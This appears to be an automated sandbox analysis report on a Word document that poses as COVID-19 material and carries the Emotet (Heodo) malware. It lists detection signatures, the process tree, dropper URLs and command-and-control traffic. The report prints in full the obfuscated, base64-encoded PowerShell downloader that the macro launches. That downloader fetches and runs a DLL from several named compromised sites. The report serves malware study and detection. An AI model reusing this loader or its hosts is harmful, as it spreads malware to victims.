Loading ...

Play interactive tourEdit tour

Analysis Report AG60273928I_COVID-19_SARS-CoV-2.doc

Overview

General Information

Sample Name:AG60273928I_COVID-19_SARS-CoV-2.doc
Analysis ID:338719
MD5:6d718814f5cf1ccd99905fdac40a504a
SHA1:f1746098ad2bb75e3054351b190cc818712ae46a
SHA256:6bb1fa2cba1d52674b980804939a39bb7dc3a68a364402d393e6a3ae520cdce9
Tags:docHeodo

Most interesting Screenshot:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 1604 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2340 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA== MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2608 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2692 cmdline: POwersheLL -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 960 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2916 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2956 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qafsungwqhhv\abffsuupeze.glo',ShowDialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2908 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hqmvwbjvtszlkw\wwuzivduoqkxt.pxe',ShowDialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2484 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Aanys\cokk.vuq',ShowDialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.2107242892.0000000000216000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x1f10:$s1: POwersheLL
00000005.00000002.2107409443.0000000001BA6000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x890:$s1: POwersheLL

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Antivirus detection for URL or domainShow sources
Source: https://trayonlinegh.com/cgi-bin/HBPR/Avira URL Cloud: Label: malware
Source: https://capturetheaction.com.au/wp-includes/Yjp/Avira URL Cloud: Label: malware
Source: https://shulovbaazar.com/c/bcL6/Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted fileShow sources
Source: AG60273928I_COVID-19_SARS-CoV-2.docVirustotal: Detection: 26%Perma Link
Source: AG60273928I_COVID-19_SARS-CoV-2.docReversingLabs: Detection: 22%
Machine Learning detection for dropped fileShow sources
Source: C:\Users\user\Wdduy2m\Tmc1kuo\J70H.dllJoe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdbg source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbc source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbE source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.2107605290.0000000001E67000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2120130538.000000001B900000.00000002.00000001.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
Source: global trafficDNS query: name: shulovbaazar.com
Source: global trafficTCP traffic: 192.168.2.22:49165 -> 51.79.161.36:443
Source: global trafficTCP traffic: 192.168.2.22:49165 -> 51.79.161.36:443

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
Source: TrafficSnort IDS: 2404340 ET CNC Feodo Tracker Reported CnC Server TCP group 21 192.168.2.22:49170 -> 71.72.196.159:80
Potential dropper URLs found in powershell memoryShow sources
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: https://shulovbaazar.com/c/bcL6/
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: https://mybusinessevent.com/tiki-install/e/
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: http://uhk.cncranes.com/ErrorPages/3/
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: https://capturetheaction.com.au/wp-includes/Yjp/
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: https://thenetworker.ca/comment/8N4/
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: https://trayonlinegh.com/cgi-bin/HBPR/
Source: powershell.exe, 00000005.00000002.2112345282.0000000003693000.00000004.00000001.sdmpString found in memory: http://mmo.martinpollock.co.uk/a/SQSGg/
Source: global trafficHTTP traffic detected: GET /ErrorPages/3/ HTTP/1.1Host: uhk.cncranes.comConnection: Keep-Alive
Source: Joe Sandbox ViewIP Address: 71.72.196.159 71.72.196.159
Source: Joe Sandbox ViewIP Address: 71.72.196.159 71.72.196.159
Source: Joe Sandbox ViewASN Name: TWC-10796-MIDWESTUS TWC-10796-MIDWESTUS
Source: Joe Sandbox ViewASN Name: REGISTER_UK-ASGB REGISTER_UK-ASGB
Source: global trafficHTTP traffic detected: POST /kdd8h70lwp/lfu3p05/u2kanr3/ HTTP/1.1DNT: 0Referer: 69.49.88.46/kdd8h70lwp/lfu3p05/u2kanr3/Content-Type: multipart/form-data; boundary=--------------IOWFryyt5oe5vIUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 69.49.88.46Content-Length: 5572Connection: Keep-AliveCache-Control: no-cache
Source: unknownTCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknownTCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: unknownTCP traffic detected without corresponding DNS query: 69.49.88.46
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{73127D7D-FA20-48C4-87C4-17800DB89026}.tmpJump to behavior
